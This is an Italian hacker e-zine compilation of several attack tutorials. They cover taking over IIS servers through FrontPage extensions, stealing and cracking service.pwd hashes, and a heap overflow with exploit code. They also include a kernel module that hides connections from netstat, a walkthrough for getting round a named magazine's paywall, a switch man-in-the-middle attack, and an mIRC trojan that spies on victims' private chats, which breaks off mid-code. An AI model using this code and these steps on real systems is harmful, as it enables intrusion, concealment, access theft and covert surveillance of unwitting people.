fare !!!!!Allora parlerò di webfolder e di Front page ovviamente, e del webserver iis perche proprio in esso c'è il bug. Diciamo che il bug non lo ha il front page ma sono le estensioni del server di front page che l'admin del sito installa nel proprio server. Queste sono delle *.dll che permettono all'admin del server di modificare comodamente da casa sua il proprio sito usando semplicemente front page.Infatti voi avrete pieno accesso al server e quindi potrete aggiungere, modificare , cancellare, ecc, ecc. Su windows NT ed IIS la sicurezza di front page è controllata dall'accesso a 3 file importanti: Admin.dll, Author.dll e Shtml.dll. Se noi riusciamo ad avere accesso ad admin.dll il webserver è nostro !!! Le dll di autenticazione sono strutturate cosi': Web Root \ _vti_bin shtml.dll \ _vti_aut author.dll \ _vti_adm admin.dll Se riusciamo a diventare admin in _vti_bin e quindi author.dll possiamo eseguire file !!! Mettiamo il caso s copriamo un sito fatto in front page ( non è necessario)facciamo un:GET /_vti_inf.html HTTP/1.1 Cosi scopriamo la configurazione base per le estenzioni di front page.Per vedere dove sono installate tutte le estensioni di front page guardare la linea FPAuthorScriptUrl = "_vti_bin/_vti_aut/author.dll.Su IIS è author.dll mentre in tutti gli altri sarà author.exe.Se l'archivio non cè la, avremo un errore di tipo 404 e noi capiremo che quel sistema non apoggia le estensioni front page.Poi ce da dire un altra cosa che se vogliamo loggarci nel sito es: noi vogliamo avere accesso al webserver www.sito.com : noi vedremo se usa estenzioni dll di front page,se le usa proviamo a loggarci. Come ? Niente di più facile.Apriamo frontpage e clicchiamo su APRI. E li inseriamo l'url(es:www.sito.com). Se va a buon fine (cioe è un webserver buggato avremo accesso al webserver(intendo scrittura,lettura,ecc,ecc). fanatic@email.it Ciao <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------------autore:Leonhack---------------------------- ------------------------------------Articolo:Service.pwd----------------------- Bene,bene questo che riporterò qui sotto non è un bug, ne un exploit ma e una distrazione dell'admin. Il file in questione e il "service.pwd".Questo file lo si puo trovare nei webserv che hanno installato "l'estensioni del server di front page".A volte quei cojoni degli admin rimangono di default il file in _vti_pvt/service.pwd,e quindi si fregano.Andiamo noi e ci freghiamo il file.Lo apriamo e cosa ci compare ??? questo : # -FrontPage- jtysonii:I1KEaH1TZqxEw Oplà user e pass di front page.noooo...la pass è criptata !! Niente problema arriva john il ripper hihihi.Eh si sara lui che ci trovera le pass.Come prima cosa scaricatelo qui : http://bezip.de/app/979/john-1.6.33.zip (questo e per linux) Per win cercate su www.google.it A questo punto salvate su un file user e pass cioe: jtysonii:I1KEaH1TZqxEw e digitate su john : john -single pass.txt(se avete salvato la pass in un file chiamato cosi) oppure : john pass.txt E attendete che john vi crakki la pass.Appena trovate le pass aprite il vostro front page dal menu a tendina cliccate su apri inserite l'url..ohoh vi chiede la pass ?Semplice no..inserite user che avevate gia trovato nel file e poi la pass che avete appena crakkato ed avrete pieno controllo di quella porzione del webserver(scrittura,lettura,sepoltura,hihih) ps:ci sono tantissimi webserver affetti da questo "bug". Bene e tutto L . E . O . N . H . A . C . K O . W . N . Z Y . O . U. <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> BUFFEROVERFLOW DELL'HEAP INTRODUZIONE Osservando nelle varie mailing-lists ci si rende conto di come tra le vulnerabilita' oggigiorno piu' diffuse e piu' pericolose vi sia il bufferoverflow. Noi in questo articolo vedremo di scoprire come funziona e cercheremo di comprendere come evitare che il nostro codice ne sia afflitto. CONCETTI BASE Per capire a fondo come agisca il bufferoverflow, dobbiamo innanzitutto aver ben chiaro cosa avvenga durante l'esecuzione di un programma (in qualunque linguaggio esso sia stato scritto). Il codice di un programma si puo' riassumere come una sequenza di istruzioni, che il computer eseguira' in modo ordinato cosi' da raggiungere il risultato voluto. Capita sovente che alcune porzioni di codice necessitino di venire elaborate piu' volte: il programmatore allora si preoccupa di inserire queste istruzioni all'interno di una procedura o funzione. In pratica, ogni volta che si richiama questa procedura o funzione, e' come se noi avessimo riscritto in quella posizione il codice in essa contenuto. Fin qui tutto sembra agevole; ma se provassimo a metterci nei panni di un computer, ci scontreremmo col problema di dover andare a lavorare con le operazioni di una procedura, pero' tenendo traccia del punto in cui e' stata richiamata, cosi' da poterci ritornare. Se non fosse gestita ogni chiamata in questo modo, avremmo lo stesso effetto di un GOTO o di un JUMP, ma non di una CALL a funzione. In pratica una CALL richiede di poterci spostare un attimo dal codice che al momento stiamo eseguendo, riservandoci la possibilita' di riprendere da dove avevamo lasciato. Diversamente un GOTO esegue il salto senza preoccuparsi di un futuro ritorno. Il computer deve inoltre preoccuparsi di gestire anche eventuali chiamate annidate della procedura stessa (in informatica si parla di ricorsione): come fare? Il PC riserva uno stack in cui potra' memorizzare variabili ed indirizzi, e sara' proprio qui che ad ogni CALL salvera' tutto cio' che gli serve! Le prime cose che andra' a salvare sono eventuali parametri da passare alla funzione, poi l'address in cui si trovava al momento della CALL ed un ulteriore indirizzo detto FramePointer che non tratteremo in questa sede ma che dobbiamo tener presente esserci. Subito dopo riservera' sullo stack lo spazio necessario a contenere le cosiddette variabili locali: quelle visibili solo all'interno della procedura e che termineranno la loro vita assieme alla CALL. Nella nostra analisi teniamo presente che lo stack si sviluppa su indirizzi negativi; mi spiego: se lo stack ha indirizzo 1000, il secondo byte che riservera' ai parametri sara' il 999 e non il 1001! Vediamo una rappresentazione ipotetica del contenuto dello stack in questo momento: address 1000: parametri, address 998: vecchio address, address 994: FramePointer, address 990: variabili locali, address 986: byte vuoto Avremmo percio' salvato sullo stack un parametro da 2 bytes, un address da 4bytes (oggi i processori hanno indirizzi a 32 bit: 32/8=4bytes), lo stesso per il framepointer e 4bytes riservati ad una variabile locale: (1000-2-4-4-4)+1=987 Ovviamente ad ogni eventuale chiamata della funzione (ad esempio per ricorsione) non dovremo far altro che allungare lo stack di altri 14 bytes, ritrovando la fine dello stack all'indirizzo 987-14=973. Se pero' ora andassimo a riempire la variabile locale con i bytes 'c' 'i' 'a' 'o' ci ritroveremmo con la lettera c memorizzata nel byte 973, nel 974 la i, nel 975 la a e nel 976 la o. In sostanza, il riempimento delle variabili avviene per indirizzi positivi, risalendo percio' all'interno dello stack. Similmente, ma senza dover passare per lo stack, funziona l'heap, cioe' lo spazio di memoria dove vengono stipate le variabili della funzione main. E' evidente infatti che la main e' una funzione che non puo' essere annidata dentro ad altre: percio' quando viene chiamata non vi e' alcun punto dove tornare! Il programma inizia da li'. Noi studieremo proprio l'overflow dell'heap. LO STRARIPAMENTO DEL BUFFER Nella programmazione C (ma negl'altri linguaggi il concetto si scosta di poco) un buffer e' costituito da un array di bytes. Il C gestisce come buffer anche le stringhe: in pratica, diversamente da altri linguaggi, le stringhe sono degl'array di caratteri e poiche' un carattere si puo' rappresentare con un byte (unicode a parte che ne richiede due) allora una stringa e' un array di bytes. Dichiariamo un array di 20 bytes in C: char buffer[20]; Se ora andiamo ad inserire una stringa nel buffer, dobbiamo ricordarci di terminarla con un carattere \0, il quale avvisa del raggiungimento del limite. Proviamo a memorizzare nel nostro buffer di 20 bytes la parola cane e a chiedergli di stamparla: #include int main() { char buffer[20]={'c','a','n','e','\0}; printf("Il %s corre.",buffer); return 1; } Ovviamente noi vedremo stampata la frase: Il cane corre. e non: Il cane corre. Capito? In pratica '\0' avvisa che la parola e' terminata, evitando la stampa di inutili bytes vuoti. Chi programma in C sa che non e' certo che quest'ultimi bytes siano vuoti, ma possono contenere dati casuali. Scriviamo ora un programmino che consente all'utente di riempiere il buffer: #include int main () { char parole[5]; printf("Riempi il buffer: "); scanf("%s",parole); printf("%s\n",parole); return 1; } Proviamo ad inserire la parola 'canarino', e vedremo come si stampera' 'canarino' a video. Ma come? Il buffer non e' di soli 5 bytes? E la stringa canarino misura 8+1=9 bytes (l'uno e' per \0 implicito dovuto alla pressione del return);come mai? Abbiamo appena fatto straripare il buffer, andando a scrivere in un'area di memoria contigua al nostro buffer. IL BUFFEROVERFLOW Pensiamo ora di dover scrivere un programmino con una funzione che ci permetta di digitare una password. Dopo il codice faremo seguire una rappresentazione dello stack al momento della chiamata. #include int password() { char passwd[8]; scanf("%s",passwd); return strcmp(passwd,"ok"); } int main () { printf("Riempi il buffer: "); if (password()==0) printf("OK\n"); return 1; } Stack: Address del codice che chiama password 4bytes Address del FramePointer 4 bytes passwd 8 bytes Se vi ricordate quanto spiegato nei due paragrafi sopra, inserendo una parola di 10 bytes andremo a scrivere sopra ai due bytes "bassi" del Frame pointer. Scrivendo una password di 16 bytes come 'Hard-HackingFFFFFFFF', al posto del vecchio indirizzo dove il programma vorrebbe tornare una volta che ha terminato di eseguire la funzione password() ci ritroveremo 4bytes di tipo FF( 255 in decimale): il programma cerchera' di andare all'indirizzo FFFFFFFF. Il bufferoverflow consiste nel forzare il vecchio address affinche' contenga un indirizzo con del codice malizioso (esempio classico l'apertura di una shell). Ancora piu' grave e' se il programma afflitto da tale bug e' un servizio con privilegi di root: la shell che aprira' sara' una root-shell!!!!!!!!!!!! ANALIZZIAMONE UNO, MA DELL'HEAP Solo quando vi e' chiaro quanto scritto fino ad ora, proseguite nella lettura: altrimenti rileggete! Come la buona tradizione insegna, ora vi mostrero' del codice che soffre del nostro caro problema, ed esporro' com'e' possibile costruirci sopra un attacco. Quanto segue sara' molto simile ad altri articoli sull'argomento: di solito si fa cosi' per permettere di studiare lo stesso codice da piu' punti di vista, e spiegato in modi differenti. Il codice: //Programma per esercitarsi sul bufferoverflow dell'heap //Creato da loxeo@libero.it #include int main (int argc,char **argv) { //Dichiarazione variabili char *password; char *accesso; char *tmp; int ok; if (argc>2) { printf("Usage: %s [password]\n",argv[0]); return -1;}; password=(char *)malloc(sizeof(char)*11); accesso=(char *)malloc(sizeof(char)*3); tmp=password; strcpy(accesso,"NO"); //Screenshot della memoria printf("Analizziamo la memoria del tuo pc.\n\n"); while (tmp int main(){ int i; char bo[20]; char program[8]; memset(program,0,8); memset(bo,0,20); strcat(program,"./buf "); for (i=1;i<=16;i++){ strcat(bo,"a");}; strcat(bo,"OK"); execv(program,bo); return 1; }; Concluso. Pensate a cosa puo' succedere se questo fosse il sistema di autenticazione di un servizio internet: con un semplice exploit (naturalmente preparato per usare i socket) otterreste l'accesso sempre e comunque. L'articolo di questa volta termina con una sfida: provate a modificare il codice affinche' non soffra del bufferoverflow. In realta' basta spostare una riga di codice un pochino piu' giu'............. Lascio a voi il semplicissimo compito. In futuro, vedremo di trattare il bufferoverflow dello stack, che e' sicuramente piu' interessante ed utile: solo con questo, infatti, si possono eseguire gli shellcode. Prima pero' cercate di avere ben chiaro questo e di studiare un pochino di assembly, linguaggio indispensabile per gli shellcode. Alla prossima. LOXEO <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> fool netstat commentato da loxeo /* fool_netstat.c by blAAd! 07/01/2002 * cc -c fool_netstat.c insmod fool_netstat.o netstat -an | egrep tcp * Ad esempio per l'indirizzo 127.0.0.1 dobbiamo prima tradurre il singolo byte (IPV4) nella forma hex, e quindi 7F.00.00.01 e poi rovesciare l'ordine -> 01.00.00.7F -> 0100007F. La porta invece è riportata direttamente in hex,quindi ad esempio la porta 1025 sarà 0401, ed in definitiva 0100007F:0401 Semplice LKM per nascondere una porta o indirizzo o indirizzo:porta a netstat */ #define MODULE #define __KERNEL__ #include //Questo codice non e' un programma (manca il main) ma un modulo....... //Ecco perche' ho questo include, ed il mio codice sara' compilato con //l'estensione punto o #include #include #include #include #include #include #include #define ADDRESS_TO_HIDE "0100007F:0401" //il processo che volete che venga bypassato /* In pratica questa funzione e' definita all'esterno di questo modulo, ed all'interno degli include messi sopra. Lei associa una funzione da richiamare nel caso vi sia una chiamata di sistema. Infatti il programma dovra' redirigere (o meglio BINDARE) le chiamate di sistema SYS_open e SYS_read affinche' non vadano verso le normali funzioni ma passino di qua. */ extern void* sys_call_table[]; int errno; /*Sono due puntatori a funzione. Tipo i puntatori, solo che non puntano all'indirizzo di una variabile ma all'indirizzo di memoria dove comincia una funzione. Chiamare loro e' come chiamare la funzione a cui puntano*/ int (*old_read)(unsigned int,char *,unsigned int); int (*old_open)(const char *,int,int); int ACTIVA = 0; /*Funzione che sostituira' quella di sistema se arriva una chiamata di tipo SYS_read*/ int new_open(const char *filename,int flags,int mode){ int r; if (strstr (filename,"/proc/net/tcp")) ACTIVA = 1; //Vedi che per chiamare la vecchia funzione usa il puntatore a funzione come se fosse lei? r=old_open(filename,flags,mode); return r; //La funzione in pratica non fa nulla, se non osservare se la SYS_open riguarda un //processo legato al tcp. Se e' cosi', imposta ACTIVA a 1 e prosegue come se nulla fosse, //altrimenti lascia ACTIVA a 0 e prosegue comunque. } int new_read(unsigned int fd,char *buf,unsigned int count){ //Questa e' quella importante !!!!!!! //Quella di prima serve solo ad una prima scrematura, ma si potrebbe eliminare //assieme alla variabile ACTIVA: solo che il programma verificherebbe tutto, //ovviamente rallentando il sistema..... //Meglio lavorare con questa tecnica di scrematura divisa :P char *kbuf,*kbuf2,*tmp; int tot,tot2,r,km; //esegue la funzione vera, mettendo i caratteri del risultato in r /* r contiene il numero dei caratteri che verranno inseriti nel buffer buf. buf conterra' la risposta da passare al processo chimante (colui che ha lanciato le SYS_ ) */ r=old_read(fd,buf,count); //se r ritorna un valore minore di 0, percui un errore esce ritornando l'errore stesso if(r<0)return r; //Verifica che il programma che ha lanciato la SYS_read sia netstat, e che //ACTIVA sia uguale a uno: se cosi' non fosse allora ritorna il risultato della //funzione vera. //Nota come io abbia spiegato la cosa al contrario con un AND, che ovviamente //nel test verra' reso nel duale OR (cioe' i due || ) if ((strcmp(current->comm, "netstat")!=0) || (ACTIVA==0) ) return r; //Se il risultato e' superiore a 20000 ritorna r ed esce //r conterra' i caratteri della risposta quindi del buffer buf di //risposta.......Se ho una risposta troppo lunga il programma mio fallisce, //cosi' da non rallentare troppo il sistema ed insospettirne il proprietario. if(r>20000) return r; //Apre due variabili, riserva loro lo spazio della costante GFP_KERNEL e lo //riempie con tutti zeri. //kbuf conterra' una copia del buffer buf originale, cosi' da poterci //smanettare, mentre kbuf2 conterra' il buffer finale manipolato da restituire //a netstat. kbuf=(char*)kmalloc(r+1,GFP_KERNEL); kbuf2=(char*)kmalloc(r+1,GFP_KERNEL); memset(kbuf,0,r+1); memset(kbuf2,0,r+1); //Se non vi e' memoria sufficiente allora ritorna r normalmente: ecco perche' //alcuni test antiintrusione stressano il sistema!!!!!! Cosi' facendo i codici //maliziosi,non potranno ritornare l'errore (ammetterebbero la loro presenza), //ma nemmeno lavorare bene!!!!! //Nel nostro caso ecco che netstat funzionerebbe correttamente! if((kbuf==NULL)||(kbuf2==NULL))return r; //copio gli r caratteri del buffer vero che andra' in risposta a netstat dentro kbuf, //cosi' da poterci lavorare un pochino..... :)))))))))) copy_from_user(kbuf,buf,r); tot=0; tot2=0; do { //DO PRINCIPALE //Prosegui finche' non trovi un a capo (lo '\n') km=0; do { km++; } while ((*((char*)(kbuf+tot+km-1))!='\n')); tmp=(char*)kmalloc(km+2,GFP_KERNEL); memset(tmp,0,km+2); strncpy(tmp,kbuf+tot,km); //Qui sopra non si e' fatto altro se non eseguire un parsing del risultato del buffer //che andra' in risposta a netstat, fino ad un fine riga. //Ad ogni ciclo do principale si mettera' una riga del buffer nella //variabile tmp //Se non trovo in tmp l'indirizzo che mi interessa,unisco a kbuf2 la riga //analizzata, e sommo a tot2 la lunghezza della stringa in tmp, cosi' da sapere //quanto e' lungo il buffer modificato. Se lo trovo invece salto per intero //quella riga e proseguo. if (!strstr(tmp,ADDRESS_TO_HIDE)) { strcat (kbuf2,tmp); tot2+=km; }; //Libero lo spazio di memoria riservato con kmalloc a tmp: infatti la lunghezza //di tmp varia ad ogni ciclo. Non potendo prevedere la sua lunghezza, ad ogni DO le //riservo nuovamente lo spazio. //Se le riservassi lo spazio ad ogni Do senza liberare quello vecchio resterei //senza memoria disponibile molto velocemente!!!!!!!!!!!! kfree(tmp); //tot indica da dove iniziare l'analisi. Aggiornadolo so di cominciare //il prossimo parsing da dove ho terminato. Se non facessi cosi' inizierei //ogni volta dall'inizio, rimanendo fermo in un loop continuo!!!! tot+=km; //Esco dal ciclo quando ho visionato tutto il contenuto del buffer vero. } while(tot ---------------------------------- Hacker journal 2 euro no no no no ---------------------------------- Se non sbaglio questo è il mio 4° articolo su questa e-zine e devo dire che più scrivo più mi viene voglia!!! heheheheh!!! Parlando in chan con i membri di riviste informatiche e cose di questo genere siamo andati a finire su hackerjournal!!! heheheheh Ancora non riesco a chiedermi a cosa serve quella password che mettono i "webmaster" di hackerjournal.it! no no no no no no no no! A quanto pare per leggere una rivista che parla di hacker devo pagare 2 Euroooooooo equivalenti a 3872,54 LIRE!!!!Ma noi tutti sappiamo che noi di informazionelibera siamo per l'informazione libera!!! Vabbuo va mi so scucciAtu!! SI INIZIA!! Arriva l'analisiiiii.... Entro nella secretzone e mi chiede una cerca pass (mmm che paura) Dopo quasi 3 ore e mezza a provare e riprovare guardo l'indirizzo e mi ritrovo: http://www.hackerjournal.it/secretzone/go2.php?go=area Tutto ciò mi fa sentire meglio e penso........ a questo punto apro il mio bell'itelli tamper a scansionare questo benedetto sito e mi ritrovo diverse carteLle con *.jpg *.gif *.htm varie cartelle..... quella che mi colpì fu quella con catenaccio dal nome "Articoli". Da ciò presumo che in: http://www.hackerjournal.it/Articoli/ ci siano tutti i bei pdf belli e pronti....in effetti non era così!!! Mi faccio una domanda del tipo: questi dividono i numeri degli articoli?? La risposta è si.In pratica ogni numero di rivista viene messo in una sottocartella dentro "Articoli"Faccio un tentativo e woilàààààààà http://www.hackerjournal.it/Articoli/numeroX/ {DOVE "X" STA'' PER IN NUMERO DELLA RIVISTAA questo punto penso che la cosa sia fatta ed in seguito alla sotto cartella inizio a scrivere 1.pdf sareb la pagina 1 - 2.pdf ecc. Ma il tutto non funzionava......Così capii che ci doveva essere un altra sottocartella!!Dopo diversi tentativi scopro che la sottocartella successiva a "numerox" varia casualmente!!Adesso arriviamo al sodo..... in pratica dopo molti tentativi scopro la chiave del tutto: http://www.hackerjournal.it/Articoli/numero23/pd23/1.pdf http://www.hackerjournal.it/Articoli/numero22/pdf22/1.pdf http://www.hackerjournal.it/Articoli/numero21/num21/1.pdf http://www.hackerjournal.it/Articoli/numero20/pdf201/1.pdf http://www.hackerjournal.it/Articoli/numero19/pdf199/1.pdf http://www.hackerjournal.it/Articoli/numero18/pdf188/1.pdf http://www.hackerjournal.it/Articoli/numero17/pdf117/1.pdf http://www.hackerjournal.it/Articoli/numero16/pdf016/1.pdf http://www.hackerjournal.it/Articoli/numero15/pdf156/1.pdf http://www.hackerjournal.it/Articoli/numero14/pdf00014/1.pdf http://www.hackerjournal.it/Articoli/numero13/pdf00013/1.pdf http://www.hackerjournal.it/Articoli/numero12/pdf0012/1.pdf http://www.hackerjournal.it/Articoli/numero11/pdf011/1.pdf http://www.hackerjournal.it/Articoli/numero10/pdf10/1.pdf http://www.hackerjournal.it/Articoli/numero9/pdf/1.pdf http://www.hackerjournal.it/Articoli/numero8/pdf08/1.pdf http://www.hackerjournal.it/Articoli/numero7/pdf007/1.pdf http://www.hackerjournal.it/Articoli/numero6/0606/1.pdf http://www.hackerjournal.it/Articoli/numero5/pdf0505/1.pdf http://www.hackerjournal.it/Articoli/numero4/pdf0404/1.pdf http://www.hackerjournal.it/Articoli/numero3/pdf0303/1.pdf http://www.hackerjournal.it/Articoli/numero2/pdf0202/1.pdf http://www.hackerjournal.it/Articoli/numero1/pdf0101/1.pdf GIUSTAMENTE I VI HO LINKATO OGNI RIVISTA CHE HANNO MESSO ON-LINE RIGUARDANTE LA PRIMA PAGINA PER ANDARE ALLA SECONDA E SUFFICIENTE CHE MODIFICHIATE L'ULTIMO PARAMETRO 1.PDF CON 2.PDF,3.PDF ECC.!! A QUESTO PUNTO NON MI RESTA CHE SALUTARVI....AL PROSSIMO ARTICOLO...UN SALUTO PARTICOLARE VA A CYBERDUDE ED A TUTTO IL CANALE #INFORMAZIONELIBERA !!!!!! BY TAILOT Per ulteriori informazioni: WWW.TAILOT.CJB.NET webmaster@tailot.zzn.com <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> [-] Autore: [Evil] [-] Titolo: Switch table poisoning [-] Mail: webmaster@eviltime.com [-] Http: www.eviltime.com ---(Introduzione)------------------------------------------------------------- ---(Switch redirection)------------------------------------------------------- ---(MITM attack)-------------------------------------------------------------- ---(Conclusioni)-------------------------------------------------------------- +Introduzione-----------------------------------------------------------------+ | | |Se avete letto qualche mio precedente tutorial, potrete ricordare, che ho | |parlato dell'attacco mitm(man in the middle) denominato 'ARP cache poisoning'| |anche se può vagamente sembrare, questo attacco non è un attacco diretto allo| |switch, ma è più direttamente rivolto ai normali computer in LAN. | |Nel seguito di questo tutorial, parlerò invece, di un attacco diretto allo | |switch, forse anche più facile e comprensibile dell'arp poisoning. | |Cercherò di essere il più semplice e descrittivo possibile, e prima di | |continuare a leggere questo tutorial, volevo ricordarvi che ho scritto questo| |per introdurre utenti come me, a questi tipi di attacchi chiamati, MITM.. | |Inoltre intendo precisare che l'idea di scrivere questo tutorial e quindi | |documentarmi e approfondire l'argomento in questione, mi è venuta leggendo | |un articolo su phrack, da me prima stupidamente ignorato.. l'articolo si | |chiama 'Taranis read your e-mail',è stato scritto da 'papasutra' ed è il .txt| |numero 6 di phrack numero 57 www.phrack.org. | | | +Switch redirection-----------------------------------------------------------+ | | |Noi conosciamo due possibili falle di sicurezza al momento.. | |Potremo riempire la switch table, creando un enorme numero di entrate fino ad| |arrivare a fare "dimenticare" la locazione degli host allo switch, in questo | |modo lo switch si trasformerebbe in un possibile hub mandando a bosco | |risposte,o nella maggior parte dei casi mandando le risposte a tutti gli | |host.. questo attacco da molti, compreso me,considerato inutile dal punto di | |vista informatico porterebbe ad un DoS.. ma oltre a essere limitativo, è . | |inoltre ben poco nascosto e insicuro come attacco. | | | | |Altrimenti potremmo tentaro un attacco man-in-the-middle ... | | | +MITM Attack------------------------------------------------------------------+ | | |E' possibile praticare un attacco di questo tipo, molto semplicemente, quindi| |quando una potenziale vittima (192.98.0.2), prova a connettersi all'host | |impersonato (192.98.0.1), noi possiamo fermare i dati in un buffer e quindi | |resettare la switch port usando una "ARP Broadcasted request" destinata al | |presunto host impersonato 192.98.0.1.. | |A questo punto quando questo sistema risponde, lo switch aggiornerà | |automaticamente la CAM Table, e quindi noi possiamo mandare i dati contenuti | |precedentemente nel buffer alla macchina 192.98.0.1, allora aspettiamo una | |risposta e la fermiamo nuovamente nel buffer, ripetendo ogni volta li stessi | |passaggi (automatizzati da programmi di sniffing appositi ecc..), attueremo | |uno dei tanti tipi di attacchi, man-in-the-middle, vediamo comunque di | |rivedere il tutto in uno schema testuale: | | | | 192.98.0.1 192.98.0.2 | |+----------+ *----------* +----------+ | || target |--------| switch |--------| victim | | |+----------+ *----------* +----------+ | | | | | | | | 192.98.0.3 | | +----------+ | | | attacker | | | +----------+ | | | |Questa è la tecnica spiegata nell'articolo di phrack ma, a questo punto però | |partono altri tipi di problemi, ovvero provando questa tecnica potete vedere | |che molte volte le connessioni vengono chiuse per Timeout varii, o comunque | |sarebbe troppo lento e incomodo.. | | | |cercando su motori di ricerca come google si possono trovare però altri tipi | |di attacchi man-in-the-middle praticabili sullo switch, difatti qui vi | |menzionerò uno di quelli che ho provato.. e che con sicurezza posso dirvi | |che funziona.. | | | |Il problema da noi prima riscontrato era quello della lentezza, ma | |soprattuto quello che ogni volta che lo switch aggiornava la switch table, | |noi dovevamo di nuovo resettare e redirectare il traffico nello switch, | |allora se il problema è questo lo si può benissimo ovviare praticando un | |attacco man-in-the-middle senza resettare lo switch, solo usando il | |redirecting.. vediamo quindi di illustrare il tutto e spiegarlo: | | | | 192.98.0.4 | | +------------+ | | | Attacker 1 | | | +-----o------+ | | 192.98.0.1 | 192.98.0.2 | | +------------+ +-O---------+ +-----------+ +------------+ | | | Server <----> switch 1 <----> switch 2 <----> victim | | | +------------+ +-----------+ +--O--------+ +------------+ | | | | | +-------o----+ | | | Attacker 2 | | | +------------+ | | 192.98.0.3 | | | |Ok, illustrata la situazione, ci basterà creare un piccolo tool per il | |poisoning della lookup table dello switch 2 per reindirizzare il traffico | |destinato a (server) sulla macchina (Attacker 1), quindi la vittima prova a | |connettersi al (server) e il traffico passerà per la macchina (Attacker 1) | |che a sua volta via una normale connessione TCP, con la macchina (Attacker 2)| |manderà i dati ricevuti dalla vittima nella connessione a quest'ultima | |macchina.. quindi questa macchina si connetterà al server nella stessa porta | |usata in precedenza dalla vittima.. così ripetendo il processo la macchina | |(Attacker 2) riceverà la risposta dal server, e la comunicherà alla macchina | |(Attacker 1) che infine la manderà al reale destinatario, ovvero la vittima).| |Questo attacco è molto semplice e fattibilissimo, l'unica differenza è che | |avendo due host che fungono da gateway, non sarà necessario resettare lo | |switch ogni volta che si deve reindirizzare una connessione, ricordo in oltre| |che non è solo una tecnica di sniffing perchè possiamo tranquillamente | |modificare i dati trattenuti nel buffer prima di mandarli al vero | |destinatario ricevente.. | |Volendo si potrebbe anche rendere il tutto molto più sicuro e nascosto, | |reindirizzando anche l'address della macchina (victim) alla macchina | |Attacker 2 sullo switch numero uno, in modo da riuscere ad avere una | |connessione completamente spooffata in caso di logging, ed inoltre il poter | |saltare possibili extra-autenticazioni loggate per le connessioni tcp.. | | | +Conclusione------------------------------------------------------------------+ | | |Spero di essere stato il più chiaro possibile, nello spiegare i vari passaggi| |pratici e teorici.. | |volevo aggiungere che, non esiste nessun modo sicuro di poter rivelare un | |attacco come questo in una lan, esistono dei network analyzer che controllano| |il traffico nella lan e segnalano, strane attività nel protocollo ARP e nella| |LAN in generale, ma vengono usati pochissimo per i continui "falsi allarmi" o| |per il fastidioso rallentamento delle comunicazioni tra host e host.. | | | +-----------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> -------------------- CREIAMO UNO SPYQUERY -------------------- Ciao ragazzi.Finalmente anche io posso dare un mio modesto contributo alla informazione libera crew,e sono molto felice di far parte di uno staff così ben affiatato ma soprattutto formato da persone valide e pronte ad aituarti in qualsiasi evenienza. Ma bando alle ciance e mettiamoci subito al lavoro.Io mi occupo di mirc scripting e come mio primo articolo in questa e-zine vorrei proporvi uno spyquery.Voi vi chiederete cosa possa essere.....ve lo spiego subito.In pratica con il code che sto per proporvi sarete in grado di spiare le conversazione fatte in query delle vostre vittime.Si tratta in pratica di un trojan horse,infatti il code è costituito di una parte server e un'altra client. Come sanno tutti coloro che usano i trojan horse,la parte server bisogna inviarla alla vittima mentre con la parte client noi saremo in grado di gestire le informazioni pervenuteci e il socket connesso ad una porta del computer vittima.Premetto che lo script che vi presenterò non potrà funzionare se sul target ( computer vittima ) gira un firewall,un router o peggio ancora entrambe le cose,per questo non lamentatevi con me dicendo che il code non funziona. Purtroppo questi sono gli unici limiti alla nostra sete di spiare ciò che dicono gli altri. Iniziamo con lo scrivere la parte server: on 1:CONNECT: { socklisten bltrojan 12345 } ;qui non ho fatto altro che creare un alias tramite il quale il socket bltrojan ;si mette in ascolto sulla porta 12345 del target,volendo può essere anche cambiata. on 1:SOCKLISTEN:bltrojan: { sockaccept blconnection } ;qui invece abbiamo utilizzato l'evento ON SOCKLISTEN che si attiva quando una ;macchina si collega alla porta su cui era in ascolto il socket (il socket non ;è altro che una subconnesione che è possibile creare tramite mirc). ;Nell'evento in pratica non ho fatto altro che dire al mirc di accettare la ;connesione. on 1:SOCKREAD:blconnection: { if ( $sockerr > 0 ) return :blword sockread %ritorno if ( $sockbr == 0 ) return if ( %ritorno == $null ) %ritorno = - if ( $gettok(%ritorno,1,44) == BLSPIA ) { sockwrite -n $sockname Invio informazioni in corso set %aspyqry ON } if ( $gettok(%ritorno,1,44) == QUIT ) { sockclose $sockname unset %aspyqry } goto blword } ;anche quest'altra parte di codice è molto semplice da capire almeno per chi ;non è a digiuno di mirc scripting soprattutto per chi sa qualcosa sui socket. ;All'inizio non si fa altro che verificare se il socket ha generato un ;errore,se ciò è avvenuto allora il client non procede oltre altrimenti esegue ;il loop blword.Sockread %ritorno legge una linea di testo che termina con CRLF ;e la inserisce in %ritorno.Se il buffer non ha alcuna linea con che termina ;con CRLF nella variabile %ritorno non viene immagazzinato nulla e per questo ;$sockbr è uguale a 0.Se ciò avviene bisogna scrivere return così il client non ;processa oltre. Se %ritorno == $null allora siginifica che nella linea è ;presente solo un CRLF che il client toglie in modo da rimanere lalinea ;vuota.Per questo viene settata la variabile %ritorno con il valore ;- ( ehehehe non so se ci avete capito moltoooooo ).Le righe seguenti di codice ;sono facili da comprendere e non penso di spiegarle. ;Passiamo ora a definire altri eventi: on 1:INPUT:?: { if ( %aspyqry == ON ) { /.sockwrite -n blconnection < $me > $1- } } on 1:TEXT:*:?: { if ( %aspyqry == ON ) { /.sockwrite -n blconnection < $nick > $1- } } ;Questa parte di codice è molto facile da spiegare.Quando la vittmima apre una query e ;se la variabile %aspyqry è uguale a ON allora lo script manda all'attaccante ( che saresti tu) ciò che lei dice in una query.Nel secondo evento manda all'attaccante ciò ;che dice qualcuno che ha querato la vittima.Mi sa che con il lato server abbiamo ;finito.Ora passiamo alla parte client: alias blackspia { sockopen blspy 127.0.0.1 12345 } alias aspy { sockwrite -n blspy BLSPIA } alias dspy { sockwrite -n blspy QUIT sockclose blspy echo -a Connesione chiusa } on 1:SOCKOPEN:blspy: { if ( $sockerr > 0 ) { echo -a Connesione 